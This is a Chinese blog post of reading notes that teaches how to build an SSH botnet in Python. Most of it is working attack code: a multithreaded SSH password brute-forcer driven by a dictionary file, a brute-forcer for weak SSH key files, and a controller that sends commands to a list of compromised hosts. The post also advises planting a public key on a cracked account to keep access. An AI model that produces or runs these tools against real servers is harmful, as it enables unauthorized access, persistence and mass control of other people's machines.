Python構(gòu)建一個SSH僵尸網(wǎng)絡(luò)

可以看一下我們自己的網(wǎng)站的入侵檢測系統(tǒng)(IDE)日志/var/log/auth.log中最近的SSH攻擊記錄，我們可以觀察到：攻擊者試圖使用用戶登錄系統(tǒng)，遠程IP正試圖暴力生成密碼破解密碼。

實現(xiàn)暴力破解的SSH蠕蟲

我們使用一個第三方模塊--Pexpect，它可以實現(xiàn)與程序交互，等待預(yù)期的屏幕輸出，并據(jù)此做出不同的響應(yīng)。

利用pexpect庫進行SSH連接

這個步驟本質(zhì)上講的就是不用每次都輸入yes，或者是人工輸入ssh root' '127.0.0.1' '，就是直接運行腳本連接。

輸入：用戶名 主機名 密碼 例如 root '127.0.0.1' 123456

輸出：超時，主機已使用新的公鑰或者驗證通過

import pexpectPROMPT = ['# ', '>>> ', '> ', "$ "]def sen_command(child, cmd): child.sendline(cmd) child.expect(PROMPT) print(child.before)def connect(user, host, password): ssh_newkey = 'are you sure you want to continue connecting' conn_str = 'ssh ' + user + '@' + host child = pexpect.spawn(conn_str) ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:']) if ret == 0: print('[-] error connecting') return if ret == 1: child.sendline('yes') ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:']) if ret == 0: print('[-] error connecting') return child.sendline(password) child.expect(PROMPT) return child

執(zhí)行暴力破解任務(wù)

整體思路是將上面靜態(tài)輸入的用戶名，密碼，改成暴力破解中字典中需要遍歷嘗試的用戶名和密碼們，我們在connect方法中加入反饋機制，如果connect反饋不可以連接那么繼續(xù)換用戶名和密碼們。本例只涉及對特定用戶名，我們暴力破解特定用戶的密碼。

from pexpect import pxsshimport optparseimport timefrom threading import *maxconnections = 5connectionlock = BoundedSemaphore(value=maxconnections)isfound = Falsefails = 0def connect(host, user, password, release): global isfound global fails try: s = pxssh.pxssh() s.login(host, user, password) print('[+] Password Found: ' + password) Found = True except Exception as e: if 'read_nonblocking' in str(e): fails += 1 time.sleep(5) connect(host, user, password, False) elif 'synchronize with original prompt' in str(e): time.sleep(1) connect(host, user, password, False) finally: if release: connectionlock.release()def main(): parser = optparse.OptionParser('usage %prog -H -u -F ') parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-F', dest='passwdFile', type='string', help='specify password file') parser.add_option('-u', dest='user', type='string', help='specify the user') (options, args) = parser.parse_args() host = options.tgtHost passwdFile = options.passwdFile user = options.user if host == None or passwdFile == None or user == None: print(parser.usage) exit(0) fn = open(passwdFile, 'r') for line in fn.readlines(): if isfound: print("[*] Exiting: Password Found") exit(0) if fails > 5: print("[!] Exiting: Too Many Socket Timeouts") exit(0) connectionlock.acquire() password = line.strip('').strip('') print("[-] Testing: " + str(password)) t = Thread(target=connect, args=(host, user, password, True)) child = t.start()if __name__ == '__main__': main()

SSH弱密鑰

生成一對密鑰

利用密鑰生成器制作一對密鑰：公鑰和私鑰。將公鑰添加到服務(wù)器的某個賬戶上，然后在客戶端利用私鑰即可完成認證并登錄。如果沒有私鑰，即使通過SSH 暴力破解出密碼也無法遠程登錄系統(tǒng)。此外，如果將公鑰復(fù)制到其他賬戶甚至主機，利用私鑰也可以登錄。意思就是上一個步驟用暴力破解密碼后，我們需要把公鑰復(fù)制到被破解用戶的ssh文件下，這樣我們可以在自己電腦上連接它的服務(wù)器了。

#!/usr/bin/python# -*- coding: utf-8 -*-import pexpectimport optparseimport osfrom threading import *maxconnections = 5connectionlock = BoundedSemaphore(value=maxconnections)stop = Falsefails = 0def connect(user, host, keyfile, release): global stop global fails try: perm_denied = 'Permission denied' ssh_newkey = 'Are you sure you want to continue' conn_closed = 'Connection closed by remote host' opt = ' -o PasswordAuthentication=no'## connStr = 'ssh ' + user + '@' + host + ' -i ' + keyfile + opt child = pexpect.spawn(connStr) ret = child.expect([pexpect.TIMEOUT, perm_denied, ssh_newkey, conn_closed, '$', '#', ]) if ret == 2: print('[-] Adding Host to ~/.ssh/known_hosts') child.sendline('yes') connect(user, host, keyfile, False)##kryfile 1024,2048,4096密鑰文件 elif ret == 3: print('[-] Connection Closed By Remote Host') fails += 1 elif ret > 3: print('[+] Success. ' + str(keyfile)) stop = True finally: if release: connectionlock.release()def main(): parser = optparse.OptionParser('usage %prog -H -u -d ') parser.add_option('-H', dest='tgtHost', type='string', help='specify target host') parser.add_option('-d', dest='passDir', type='string', help='specify directory with keys') parser.add_option('-u', dest='user', type='string', help='specify the user') (options, args) = parser.parse_args() host = options.tgtHost passDir = options.passDir user = options.user if host == None or passDir == None or user == None: print(parser.usage) exit(0) for filename in os.listdir(passDir): if stop: print('[*] Exiting: Key Found.') exit(0) if fails > 5:#IPS阻止連接 print('[!] Exiting: Too Many Connections Closed By Remote Host.') print('[!] Adjust number of simultaneous threads.') exit(0) connectionlock.acquire() fullpath = os.path.join(passDir, filename) print('[-] Testing keyfile ' + str(fullpath)) t = Thread(target=connect, args=(user, host, fullpath, True)) child = t.start()if __name__ == '__main__': main()

構(gòu)建僵尸網(wǎng)絡(luò)

被黑掉的計算機群，叫做僵尸網(wǎng)絡(luò)，并且其中每個計算機都有能連接某臺肉機，并把命令發(fā)送給肉機的能力。需要構(gòu)造一個全局數(shù)組儲存僵尸計算機信息，然后發(fā)布命令時，遍歷整個數(shù)組。

深信服僵尸網(wǎng)絡(luò)云檢測平臺

#!/usr/bin/python# -*- coding: utf-8 -*-from pexpect import pxsshclass Client: def __init__(self, host, user, password): self.host = host self.user = user self.password = password self.session = self.connect() def connect(self): try: s = pxssh.pxssh() s.login(self.host, self.user, self.password) return s except Exception as e: print(e) print('[-] error connecting') def send_command(self, cmd): self.session.sendline(cmd) self.session.prompt() return self.session.beforedef botnetCommand(command): for client in botNet: output = client.send_command(command) print('[*] Output from ' + client.host) print('[+] ' + output)def addClient(host, user, password): client = Client(host, user, password) botNet.append(client)botNet = []addClient('127.0.0.1', 'root', 'toor')addClient('127.0.0.1', 'root', 'toor')addClient('127.0.0.1', 'root', 'toor')botnetCommand('uname -v')botnetCommand('cat /etc/issue')

總結(jié)

以上是生活随笔為你收集整理的python expect模块_成为顶级黑客--python绝技 阅读笔记（五）的全部內(nèi)容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯，歡迎將生活随笔推薦給好友。